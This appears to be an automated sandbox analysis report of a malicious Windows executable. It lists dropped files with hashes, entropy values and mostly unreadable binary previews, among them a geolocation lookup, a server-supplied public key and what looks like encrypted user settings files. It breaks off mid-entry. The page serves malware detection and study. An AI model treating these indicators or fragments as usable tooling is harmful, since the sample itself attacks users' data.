OZEQSPGkT4.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......c...........!.....&...................@.....a.........................0.......:........ .....................................0.......................@...<........................... .......................................................text....%.......&..................`.P`.data...\|'...@...(...,..............@.`..rdata..pD...p...F...T..............@.`@.bss....(.............................`..edata..........,..................@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... .... ......................@.0..rsrc........0......................@.0..reloc...<...@...>..................@.0B/4......8...........................@.@B/19.....R............"..............@..B/31.....]'...`...(..................@..B/45......-..........................@..B/57.....\............B..............@.0B/70.....#............N..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\geo[1].json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	426
Entropy (8bit):	4.744298235175777
Encrypted:	false
SSDEEP:	12:YZOXwpHEx6uAsBzdI/p3dI/pa33m7c2JSydz:YRHDZsvIjIsm42cydz
MD5:	3FD05BEBE937C6D38A614D550586B827
SHA1:	BF15F4611FDD30BC069DA19CE112873F69AD8BB5
SHA-256:	F557051F4896C7EAF811760F0FCE91A9B6CDB4579C73DE27F878DB143C95B274
SHA-512:	788B974B89F6311EA7EE03FD5EC9DF53AAE0595269478B8D0E9B8BA38EF47B0020DC0CA2A58125B7BF4145C1D110DE005E17D1A75A01B90124ABDA041CE525B6
Malicious:	false
Preview:	{"ip":"102.165.48.42","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"District of columbia","region_rus":"\u0412\u0430\u0448\u0438\u043d\u0433\u0442\u043e\u043d","region_ua":"\u0412\u0430\u0448\u0438\u043d\u0433\u0442\u043e\u043d","city":"Washington","latitude":"38.89539","longitude":"-77.039476","zip_code":"20001","time_zone":"-05:00"}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\get[1].htm

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	566
Entropy (8bit):	5.980175261909468
Encrypted:	false
SSDEEP:	12:YGJ68ZyQlviAceInMG7jndKEZk2TbPzLxpSPx5kboqw2:YgJwQlvi4a97jn62TbPXS5Ww2
MD5:	892068E92307E1635CD4B30625509D68
SHA1:	C6A7BB5AE63157867A8C08DCE91B43BDE2AE1B82
SHA-256:	E6132E73CC7A5E6A55890F0E4EF646881421A458D1732066767B8E0D79E90338
SHA-512:	E6158FA8BE4702E1A20691CCB7F929A11932E2957930F93EA9D45D6E3D7CBB29D1539032B881DDEAAD22CACF2ACA68184399230847BF21F0AE7A8D6A2DB107AB
Malicious:	false
Preview:	{"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0JdwbRk0DEQ\/NHH1YmP8\\nqYfdbOSP4pL2Nw0t2u0LjS5vA0Ic\/q\/F\/FJg9ohGtzqn5bERxjtjicx8P2K1VCb4\\nygs118+zmBMi2ON1m\/aWrhgfEzPfmtTTNSW9Fwe0WingA7zMuQR6a1ic7Neeqfm+\\nORZZJ1ZbQWu8gJg\/TcLPKz6AQI5OG3AIs9RlE73h4KoDgAzPbIk\/eZ7pyhAlnLb1\\nFwWI8khAu5orm5kJzitWEvrv8Tycm36e2N78us3bl+v+DfCPILrkz+dKrQxQjqSN\\n6XuTp74OZX9hE6EfJ\/BXslkxX+\/MnoO871Uhf5l8Mg\/+zf5\/YVjX8\/fk3E3XungK\\n3wIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf"}

C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	64281
Entropy (8bit):	7.997374337204061
Encrypted:	true
SSDEEP:	1536:O72/kNJCv1UOmjl3N4kGROzNOjZRo93vPPBprx1g/YH/:LcNwUOIfGRS2ZRCPPBRx10K
MD5:	E34EE27F6CDC933177224B2F2C6027A3
SHA1:	2C7FDFA4175FA731CC3AC49B590A477D5DA9A715
SHA-256:	7BA8251DB3F3F5C4C1B3C746473F5BA5EBFEEFEFD126CD23C25A00378C6065E4
SHA-512:	F6E0904D44574172EDDF8046D8BED6715DA79A1643C0CF593F138F16F5353CC676E464004E95F6D2E89243BB6481A59B3C701B76570D30187BFE070C66FFB09B
Malicious:	true
Preview:	<?xml.]..)....>b..h...z^'.H#!..6.^...t..-].=......Hr".v......#.......n....xd...Zo..\|g?r.CB..:...._tK.<...yI..'..PM.^. ..S.d....Ag..@Z ....).n.\|.v.....@.........7.@J./..k.....z...,....b......3..Sg.P.._B]k..e..>DV.....J..SH.7.v.....0-O.6..N.z..=Ze..`;L.2.]W........'.\|%.\!.~....>k4........e.V..M.....;i.z\|l.X..._).m~p.ub.G.N.P.I...z.{...e.]U..{..c..Q@...;..>.2.-.Pc......?P&.gA..]q.....D...!.....l...Y..a..........!'..........uM..qn8....1A'....?f.LZloB.`.L~^.I..&..m/......B.n....gV.S"Pm...U......2k..h.\|.V.n.....d.%.2...V) H.\7..:.....<,toh.!'..#.0u..S.aV..r.S.....C].4.@..W.q>.G2.........3.iD... ...[.]...p,.Y..8.E.#.%.>>+..hu..ux.._.vA..M.T}........b.....b.C..p?..`s.B!..Oh...#...{.v..g....R.z...<LX.SUA{.n0Z3W.6........o".'./...h.xWX.m.q...HG..:...%k.<..{.~g...........?.Y.G....TV..X=..5.I.."...S...:.7.c.4......k....C...W...-.%...YH.....z0G..\|.LN...B.. 4kK....$..O}.{.....`.f...gm.:./......g....e=k....nE.<...F...o.}7.$&.]6...5/.!....c...Q...O.Z

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01res00001.jrs

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2078574621028695
Encrypted:	false
SSDEEP:	6144:K2XV+52iTCNRWfC7LOtillc9/qNqHSzdkO:5VIdmNRWaiD9/7akO
MD5:	8873CDF73598B23C1E2BFF05CE718F12
SHA1:	ABAA1492A4C289C9DC4203BF1C873C7CAE7AA7EA
SHA-256:	0447CF898BE4783DB0AAA25446979A857A10F0088640328495CA1894E2CE7DB9
SHA-512:	52BAB3892C5EFCA19CFEC35AF9B87352E55D1C6F8D93A7E6D26B948D3AA18D3EABCD5FF9329380AB8FCD70E430B04CDE94E997F53F4EDB551425BB3D171A0046
Malicious:	false
Preview:	......m..k W..s73....`..V.....T.'..w:....bs...w.....h........@....a..W.S9..{T.+..k..>a..u.<....Mk...2...-..a.%..f.`.......3..o.^q.V[8bK.(;xM..F~.Q..C.$...Z3..n@............HM.....Td}..c!D......W.<...YPH...TRWS.$H.@!..v.+$.D^.16.a<g...G.Euk..O..........!.4P.r%G&<.Q.v...K(...j....j.~.".:..I.Cg....H..@(0...m...gy-"..)..x..<3i:........E..q.i.....L.].[....h.g....\|..tU~. ..[.....:Z..t......sGo.t.#...4C8fh--.....d.....r...Q.!..r..%S....)............82..7f.R..\.p0.%.b..h.)...T{ra..zo.A/X....\U.....(8/..w.b8...R..8(2.E....m...]..D..i.[......7...\Dt.E....l...s..C...{...8j.\7...l.3W.}.".X.n;.AF=.....->..T..,.+m..u..5WN..@.;..gc........b.Z.4d"z.....`.la.&.,.q..[.d.\?;..Js.9..I.........'...a..7F8."......K~...vzS..."....<HcUM!\|.m]..C....Eo.f.`F..._@.W..:nm...w..8.=p..wc. .O.`&bZ0?.}jR..sS..~...V...l...'q.q.u...l.>......a!..E...j&BU-{..h..h....a.3...'7.%..$.]...'.8jvN.......w..-.....!%........-.6i\.m..h.\o..?.=$.a?..NU..._x.h.Xtz..y...b..._.L..U..

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01res00002.jrs

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207780797476114
Encrypted:	false
SSDEEP:	3072:5OlrEbY2Zg9TzQsuT5sQE8p+E7f7rIetpblCMqZewXhcRlRclFa:5OGDZgpI2v1a7rXblaZeYhr4
MD5:	34C2AF522ACD48503CFD08717D5018DA
SHA1:	4D67A96A68F8DBF484BC86901B6E671AB311F6EE
SHA-256:	16DBAC47FB774D27E7865ECF9328C8DC569E0AB309C712C160411186C07B49D0
SHA-512:	AE817AF4B1CAACF840994546F41FA7CD73A77380FCE51A24351A904455B29E9109B015CA1AC775F540FF89E0EE759652C91283930621B506662FD5311A9BFD31
Malicious:	false
Preview:	......j.JC.m.\18..y.H.FU..a../fPE.....)..J.....8Z.E.y.....Z.n....;.<..8 2.........d...$.z^....{..:..D..r....iVPIlC....e...?...pX,.8"}.p....O.m..1mp[?6.f..(.v@j&.......Mkl.b?(.F.X..3..Z..2m...^.o./pt..6....Hr.?./6.s}.T..0.\Z}0..!....v..k..,........_a....X...n_w......._.<..T.....o.`..y_.^.;_...........Vi(...n=J9..P.#^..ruAs...d..-b. .....u....k......+3.j.c...t...7M1.tT..z...d..0}C$.H...0.d8..n...W)8+E.L_.kA.......O..!.#..Weg.I.+n[.Ag..1s...s.G...0s.-k.u...7..s.M+...!...K2....">z......-.A.P....U.Z\u......c+Ua...1.,..6..sZN.}..C..Zo...Y.....J.l......F}.,.L..J.e^.<d.p..W."....a..g...c..\..d<..&F0D9.\|u 7."z..P.2.Y.,aS.IL...C.9`Y.o......A.U......a.e`.R..hGQf,......\|......i.. .^:._..Y.^2IJ..Z.k..6...<..J.A^K..?.+. .xk.Tw.gi..0....'$Z..0..`.<./...zG..M#...R..'..d...e].w..C..o..t.A....}R......~.;5x...a#t.og..&.}F.*I..#....^. .e;..J.#^..7].."...............p5..$....%.........z.....p. ......]Q............nx?..y.C.......\.\|..w[.s..u;1U.'.&

C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\091tobv5.default-release\activity-stream.discovery_stream.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.875409895043023
Encrypted:	false
SSDEEP:	24:YwRjmFW2xLzo5Aq19wjM+PAzsKa+a5bOtYnihmNI92SWBQtH/0n/iDYfPWu6w1bD:Y+KF/lzaR+4zsHCzl93WBQtflEfV6yD
MD5:	25D848322208D30A2E6B968C01F3DF73
SHA1:	38534EE32CFDA338DD3CFE6F5A2207DB63E011F0
SHA-256:	B65AFEB3CB3DDD808164F405A41B5688825765CF5EAD90063FEC8A6113E4D973
SHA-512:	3622036417024533FD41701B766232EA14E373FB55D4012E5E28C169EFC540D5CF2A76516FB632D4B1A3F08981238FA6A8A6201446D00055501FC666E2FFA8CC
Malicious:	false
Preview:	{"spo!.(0...=..jW..pi..W.N..=e.:.;...X..F....##..c$..J_...P..~...!....#.U.In..._....>r.8ga...~.....l.....7..6..3.G3.S.6.?[.$S..b.....1.."...$=2'...)L..j.+Q_./......QI.w..mAC419.Q.!{.p..&.GF..$%....d.X<..~..;F..........+.. W.=Li.5..L.ww+.K1..N+......]D#...._...u.y....n...1.Vo.;....].Y....b...V.D.R...L.d.Q..%....E\.C..1..V.\|........}Z.R4.Ci....]W.....r...O.Cf.}.PG%.-...t.C4..$...R,Y6.Fq..%5......z......=....N.....'...k......D -......rK.T.....G..+^.5....p.[.....7.`Ecg.....r..BL./...zzx.&....^....7i...5...".U....M.f...pQ.I.....cS.G..'..[...i..E!.\...MP\|......$.gT.....'...(IZ[.C./t.Q.........u...D..3.rw.A@.;..w#.q.,~.u....P..7...v.Sb..y...C4......z.t....t..v.#.]r.4..."..f1..X.H.e............"K.n...#...phqyB.~.b,KM...*b..Z.7..<....Uf.t.6.z4-.}....t....#>...y.x.>(....v..n..XX.V.H.h.L.E..X..Z.$tm3!.f...yL......g......"....[e......=...3....eF.!.0#.(........,..J...]...fp.r.$:..:.0 -..._.)#.......@.....)kEO..#.2WjJ;.._6....=.#.e.(..ss.x

C:\Users\user\AppData\Local\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979866391612629
Encrypted:	false
SSDEEP:	192:HsIPPVNvQLVvjkCgEk3GFZIX+g8gsZJAMfbqrBJvTPs:zXVpsVvpgpEfgGJtjQzw
MD5:	2DBA2FBA8573790290CD8606EC5883DC
SHA1:	5266081F450DA0E721E0BE5F1CE497A3ED555DD3
SHA-256:	C1C871454AA7449AAF47FEE98AE764CB69FE45478BD692E0A523F1B5A2C9C78D
SHA-512:	28A7CE66B2F9BFE72751D3161FC6D7BFDFEBB9BC298218293BD29271CC4E89C3CAD0032E0990B1B84C881AAE231EB5D2C1E295D5ABC1619D2E42663035E383EB
Malicious:	false
Preview:	regf.I..%.....~N.......p....n...0.....+.bDOi/.Y.$.FVd.=.UlP}...R...;...Z.....=.'v..6..k5\.$.........W.%W%..5p...`...Yr.6.8y..j\|$........G.e.,j.~.....p.....W.gY.AdP...-.C.5.3S.j.e.XA..k...Z...y..<=h22.._......m.7.R........W...ed2"L..\|9w.....UB.bR..#.\|..... ,>..Qp.c_.^.<......._.~.a.x..rGKI5#n$M[...9R.'.A......X...EE4.Q.}....:/.e.d.m.e..@`.wD.\Q."J..$."P....P.f,6.........3.s.@..MB(t\|{.S...p..#..S.6...dE%N..U.Z.lQ.9[q...Pgn'......v...(.!.F.N..'...='.+......kd?.x.].ka.....toe..\|.....1?.F.....9.9.#..a.D.G.......{.nr..p.~O.E...u......_...".......#.W...%z.S.H.4...V.....w..l.#....V.eq......%.#.U&\|.I5.VG.=w......w<.$9.3)y..\.._T...r...p...r..;Q.l.Cr.u..zHN...ArI6.B...Zu0H....E)..6...dh...`..N...4t."[.(...w...........,........".L...6x&L.\|RP ..2H...D...s.BZ.._)<(c}a.i.y<.'...2.E...2enw...MN.t..K..n.L...g..nY.j..u.....X.w9...5.j+.TnX.jf.......E.<&..K...zB].W......;]H.4TP...._.d..}.Q......{.!9B.axwU.f.....+...$.[.....<..?........l.

C:\Users\user\AppData\Local\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977931281466535
Encrypted:	false
SSDEEP:	192:SPOCkig2cp7l1BMUWkyyZ5U8OGoifF6iUA2DmYex:SPLgF9TWkyyZG8f9UAYw
MD5:	C9F38F77083F51ECC7F3CB0A220527D3
SHA1:	CF4BAC073D3A66FDAD438B95E6FBC50FA58F2392
SHA-256:	CEBD6D26C38F394E3FB8268661456F1C90A33CC25776CBB66316C3958E4954DF
SHA-512:	9233F17DAE0EE45A83C592E963C07AB69A7CA80B501E14F937A9EFE299D80CE7526FC63E149349719DFC3D52CAD2ECA172C25D748DBB6C6A2833F181533AE85D
Malicious:	false
Preview:	regf....,!7.......y....=..{.{....m....%J.;(..Okp.2..Uv{.%.\.OB.:...p.`...F..0.2..0.s.vB6.e..18^.%E'.s.Z.....k....ut..u=.5Z+x...c...a..\..hP..=....ZXA....]."....8.%\|b...+.......3[..\u....."hS.i...e.0F..R......G...tp..`.....$9...X.2.%\|.`..).\.+^.].QN.....4.oM0......=.G...L.%.p.lr)9..{.....o(..j.nC..WW..__..:"=.].....@Ur%Otzf.......r....... ..-...`L.G..iN.\c....'H.......+sd..r..U7;k..}.Z..0...:(>..c.cPkOW1'2n.Y..."UZ..........Xm ....Rh.....Q.ll.$...!.\|ei..w...nF.iu.A...m.3jy.;.{.bn..P...u...[..m<.4:.....XvK.# G...8...._l.B:..R....T...$.\G.'S.._.......[...Z<A..{..D...7...N.....Q..f..wn.^.bt1...GT{rr.f..h..D...-....)..v+?....(..Ds,fr..C]i....yHJ.m.N(g:....pcW.v.3........:..]..]z._...U.8j)....N.Ej..%.}.......o5Q..)ih.....'...L..c.O.. '.<B..A.=..!.y&...].n+&.l]4..F.ZW.^ .....!....Pw......%.n...k!Ve...1.t.3&..iO.G.>N..........tM.o].....nW..@..;..,..B{.>....W.......p...Z..,I...kN...Y.'.........Hu.....bZg.`%...[w.mjk~..W....G\|..D.....Q.

C:\Users\user\AppData\Local\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975418621294823
Encrypted:	false
SSDEEP:	192:9H9IzlDHzCsYnrbNf6n94i7Y0GWbdgtXzkghf46OLQrTS/EGboZ9:1a5HzCprEnLPbelirErT
MD5:	D320C541C993795D07E776069C33F371
SHA1:	3A032E95C462C6C5EB46D22517F904C7F39190AA
SHA-256:	08D754B66F5EBEFE346E4ADE7D8382E4C2068F3620621FAC083D072C35BC8511
SHA-512:	67477C3342030BF8C9C29B6FD4301B61ECCDF3ABC83B0C8904D1837ABDD50634F87A0281FD02B1E3645CFFAF2B14E2A5B41F1F8BE04A8BB4AE0AE17D8BA8ECFB
Malicious:	false
Preview:	regf.?`....a.!?....^........U.)Fw.E..4.....6gY.....;...5S=v...6.~...5.b.E.4..h..:..9...q.=.93......kV.P..W.x)....".`...Kl....\..1jc.MN<.....C;.M.H7..........?i;...../..g.(........B....X.8.d-.X.{.$>[..h...~.h.^....a.JS........CZ.a#L...n.Y..iRX.C...Z.;.\.m...Bp.d6."..#..5...A..x......F.J......%}......W^..a.z'......Y.?..$xp..0..k.at..........\.C>.3..zE.m..n.:.........aa.I+.b...........96K..'.......v.\..,3.j@..v...a...$2[...$:.Bp1.....P....fO#.Z........7n'.y[.K.f.'B.M.zg.?........<......h.O.@.d..!..p.A.qM@.....}.E'.N;H......\|/.%...y..!...^..#.)<. .<X.s....h:.X..l-..(...Vm.....<........) ...'.S...@(..n....c...%.... g........."...u<m..n....t..!X...k.....G..r@"..%....{+In..2...k....j<.)...I.L.Z.$..)....=.j.`N.[+.\...1-<...5...J.#....\V.....@!..n...i$..bv...K....1...a....T.r..l^Tf..^..($E7.....Lt.`).......S......_.M...s{.<AM...A.g)M...X.....;.".*.`..w.E.{Q.V.=... ....G.`...7R`.MN._20...w.............J@.`..0..H3.PB.<...........

C:\Users\user\AppData\Local\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9797148384158305
Encrypted:	false
SSDEEP:	192:YNl7rqNpFeDG2EgISfQ2bQuL6swYCVLCvt+er7Heo0:YNlvqN/SfQ2MuLtwYCJkn+V
MD5:	8EEAD2D0E9C2654F4E74E806226C296F
SHA1:	E6A96F11E966B114E0B109BE9671050D9A750795
SHA-256:	3E3F661A8D2329D75A4A2128FD1DACA780F78111F1041F2DB4B8B56D98C6B7B4
SHA-512:	1BFCC07C218054E3CDBBFB983D919F0A83717FC5A115C3EBACF93155D3796DA25C2886A524D2E346B1D227CEE3BA5D1BABD942E8271BDEC8BA7F563CCADBB0CA
Malicious:	false
Preview:	regf....V.....%bY{..H.....-.m{.^...vv<...TA/6.....LS..Jb......^..g....81.......{....s8...Q.>...........I[...~a....P{(vQ....."b..E..........g&.A..O}.N...8\|.j..fD."[..~:. Q...j..o....eb.9......Y.o=..`.@}jF...W...d<....p.y..ZT.@....P...e..:w..!.....8.I.SP.!^s?....OvS..B8.............,E...mw.p)W...j.GA...2..Yv....}.D&...x....k.. .cr...p.).XS........7..............J.s_+ie.cw...p....s....SnN.H./.]..M....`~.ll...&b.#f...-.7..+@%^YL.MNl.a).A.o}.Y...r....{.Hs...{X.Yz.^.pO..M...lw..W....(....H....0............9..-.7%.u.5.a<.x... ...r.......Z.n..:.U.......(...........1I.....Q.2...T.....).9...K..?.E..{(.R.+...br....l...\?.q.x...@..q.I.CW......1w&...T.j..U.1B.$".v.!..P.....0..yTW]....C.`.....w..j..8.(.....me.G.R\..y1{..R.s.i{....b....~......fg.E......R.g.d..]m.)..\.).=:.hro............_!............O..Y...\[..........'.".}W.!...o..'..q....a..i....k..>..qs.]..0..i.,....WW.t8y.>......g.L....K...R'.].e.s..yX5...n.y.o.9..I.().3%./....). .._.

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.usererPlugin_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979210807665512
Encrypted:	false
SSDEEP:	192:rgYxAke15BPiIK/zGjfkFa6z+Q6mv0bbdpAKx3e4:0MgqI2zGjf4aZiv0dpAk
MD5:	6D0CEB3EB54CF77A5C179E25B8F89F6D
SHA1:	D7DC34561FC6DE960B85B16B4A948628F9CDA86A
SHA-256:	0EBA78CF168DDCC919F81B5C78ED2E0E0CE3139ED6DBEF63FD3F003CDD3AA8DE
SHA-512:	26A2D3F9DA690E8D130A1450967D7C5EA271F0E8049B8D8FE1806E208EF52DBE248BE0167F617A8BC3F1982E369B946F1C13D22233F3F8B426F58D05B8F94AD6
Malicious:	false
Preview:	regf.2..D.S.5..t..D...9......K..\....t.<.pP....i./#2...[.9K.....E.,....&....D..7.LI0...FR....5]G:nd.E().,{h;.;..V<....O...Bf.O....J4.. ......4.l.....(B..B..3..l..cS..D.F.}.JRP...qIC... ..KN.e.I7..a...8x:/..-...............L...Z....%....TL...Qk.......?.W.....T...C...t....2.K...6 <...OQz.`...&4..g.S...R....>.?...:I8..WR.%a..+...C.ty\-.K....\|^+2.).."...`...V.x.....u.F.\..P..4=...\.S.u.v...E.....$...'..r.be..........&..:.!..l.x..X......"...t.z...K.T<..Xz.=.....n..6.......U5.......%....u.q......B....b...\|..e..q.uO..m}..X...k.P...9.6..)}...)...^uH2.a..vLW\..d.......1....?0?H.Q.Y.d]_^A...............]...+....ctn.qu\|ra..^.<..h...v.I..TO.0..P....9...)..#......-..pu.kkH.F(...lUs...}/R.G4.c.O....k~.....:E7.........<...U.lf..B..d"..........C...>..[{..'s.<ly..Sr....#....c{.'.. r.1............R..a..t..s+..+a..T..q.^-.$.y.e`TX0E.dWV.<.z..J}....4.I..:g.....~.w.F..I_..V....Wi.^....<(...N...kQ.U....r3SiI.o..Q...n.6.E..p.kV..*.<O=`....$L..`" q

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.usererPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979001358866959
Encrypted:	false
SSDEEP:	192:mWUhFeMjMB42h1oaLBMBobQz3nNpHB6N8xZn0vXFGEDlJPE:mWCpjMfo8S2s3nNj9xO9zxJM
MD5:	BF3206A1BB72047CC8D893BDA4A0158B
SHA1:	7DD608F8C3C658B4EFC28B58629B494BE4A80B30
SHA-256:	D6E1EB30FE3D88D48E00E5F6023807FE642BCEE647CA0F71A4E4C6C4A2B9B02D
SHA-512:	349A209953D6848346F0291DE6E15AF8B44DBD38F5A1F552A651F05F6F70EC7B9D72CCE956BD2D294F90A24E0D88D428E99284E268AF997A91DBF9B7F62229F7
Malicious:	false
Preview:	regf.=.`.b,.$Y}.1..;...4\|5M@.q..l.x...W...4_.7.S@...K.;...n.6(_..!. ..q{.....f...R...d.e.<.b'..v..?...)..U.c...a....D..=..@@.g.wl.h..k(.....8F.B.1/....]...y....}R...2..rq....Z.~F.1.$S...5.N$....t...f.@..W..."...u....[....~2ds...-_+.yz...Kv......o.-M.UC....<g..K.fXh......R...;..y8..U.3.+.....L..+H.F,.....c..\......'./...r.........)XE.fd.].^.-.p..l.\......)..{Lk...7g&.s.?2.%...c....4...O5.uq..9a....A......uy...9,......M(r%...G..s<...8...,.^.E..<.....R..6o...Z.X.r$...&3..h..9.....~4wg.......=.A.1...).T,'...}....4......[.......#.h......(..V....B..+...D....K..'..RK7.4v..M.>.(..{.....7L......gCC. 2Q`E...!....7.=M.b..H.Wz....T........hu/....`5....X.rlw..I..i4t....n..qC....kP.F....J...Od.?...=O!\|.pu.}Ubu.P..M...f..........+..90..rE.0..{..O.Af ..m...;..Ze...NiK..k.25X......#.....rs....^..4....E...R.M#..2w!+0...sa.~...o$......Ll2..Y<C...&...."9....hXjK.r....V.eb....V...o..:.MF.N8tKlg...n%Vh....8......A..!K.UBqA.?W..v.....8...GVs...m...f...)Cq.h....o.

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.usererPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977007364561393
Encrypted:	false
SSDEEP:	192:OA4FJtP1OaEcA3fxnbtnWpv/5jxcZEFMTD/R9OA8jw:O9Fb1OauJnbtWJ/hxtIPl8jw
MD5:	291180D3A3B7E13181CB834FE1012020
SHA1:	94A79FE2D71ABAC5564E3AB72D41824D1848D616
SHA-256:	FAA6159C85ADA733502B03DCC211577FB9B61CC68E24F7D2C6393A790ED87FAB
SHA-512:	9B3A587AD5988B2E0A8DA4777368F2491A2A977B63F3352B39E5EF869031C945E6A626B8125077FFA1A79EE00D94AD66316E2D46FD1C549C6FFD8CF94FBD56E7
Malicious:	false
Preview:	regf..2....d.\.k......?w....)^...#J.......Z 8B..I....xJ..uh.....=.C...0m.l..N.....p..ZgNz.........3....^...Pu.......m.D...VK8.Q.+;.X.ir.;..'........C.oa.?.....6`#.`.]_}9$.'.y.Vv...$1\|.Z.."....Ve.....[d...L.h2..7=^PE..w4.l.."..A....V%.7..XO\.{_.i4../...C.b...ji..3..lD..r....F.y{..IEp.)....q>e...,}6...:.^..n.5.}9.z."..b.i6Y%..{,.W...T.R.M........e-"N(t..U.0x.[..$..%.l.x:...W..h,....4l...X..y.T.....j.a%.g..=\,..=v4.z..Cm.@...1.....f:7...U)<.RR......r.tO......o2...."..^.v.0....1..>...0.v.../^...x....^d.B.n!.@H......'A.z...JB2.+.....`.K..;.J........Z....A..Y.?}>.3.....S.@E.=.K..2..?].%.4. .0..x..I...m.....e.N.....K...z.......`....V....9=..."#O..Y.."..V..z....[4 ...6...a..1.... tbi}v...f.^!.....Kg`<$.V.t`...l.p.\....y.=/.t.....T..]uD.._...x...\|.m.d'...I.F...Y}..sg.b..h..!.......s.R...X.W.*................@...)...3(....xd.>.......X(9>.F...K..1{..5...P.....g..i..$_...86....IBs.?.z.;Y....Y<h_zr.S4(....c...9&A.....([".;...#..y.v...'.././.[2.7..s~...a

C:\Users\user\AppData\Local\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977655810853403
Encrypted:	false
SSDEEP:	192:a7AiKpkTeJn4b/dAapNiy72+uRbgCTkXtm/wo6y6dp/ZQr:a7Azk6nGdAapNiT5bgCgmIJy6dpWr
MD5:	D4EBA4C0DEE2F14433118741544EEB09
SHA1:	8ADF104BBAD447ABBCAA3CD5FA0E7115FBCF78ED
SHA-256:	9A5607E86DEACC88CD31AC8A2D6CA7A62E2B3C99FA139621AA04D9EFF8763B64
SHA-512:	BD55328E055B784B3FE8F30B6DCF209361E62271E086568F149E56F5AC0A486FA0D8446F412699F04C07D9E38FBD3E09024482D706B5D110912A36C31E1C9687
Malicious:	false
Preview:	regf...N.x#q[.L....K....8......2:.i.......\|.ck..6y2..G.\.a:q.x....4......`4.R.....+l...D..U...M.."t..3\|..r..8.....sAhz..r...).......J.x."..1.N.d.K..D.\|.....E..G..?.......c.9.q.C\.+6.q....VF....t....j....i...q.;..n^.jC..........!...t.R?...K.~yr.$U.au..lW.6.......{.=..+.D7..\|..Vb.E.OGL.5.......&.-.,..9....6=.v.o..~j.."'KX].g.......5y.)=....U...R~.(...i...;...je[.m."..H...4...q..L.Var...]yE...N...a0.ngc......hL...s,.5.._g.ust.......&.......2.lp...E.vy..H..`......b..K...O...+.w...?\..;2-.......ZRi..MkA..Da..Y..E....,....\+..h$..G..r.7!\|z.B1......F<..)/.\|.%D... ..1v..x..2.#.xkD....N........6...(..i.Ei'..Z...XG...;P......K..@......:Fa.L<.u....V.}.f2}.1..q/.....Z..1..b..z.C..5.m..k.......s....L.y.Ka.....1Bcd..1r.Mc ......%...L..D..N..\|)...m..1v.F@.Z..B..vG.O..K....W.....`Q...6.......!.O..J.......c..g.v...h....m.4..c~lt{.}...?.g.=TW..m.i.{d.}0G..O..^...1......q3Q0..V..I.M..z.Y../.....u..p2.Rx.....!.6....xL... ...$.R.....z...m..tP.>.

C:\Users\user\AppData\Local\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979062922054478
Encrypted:	false
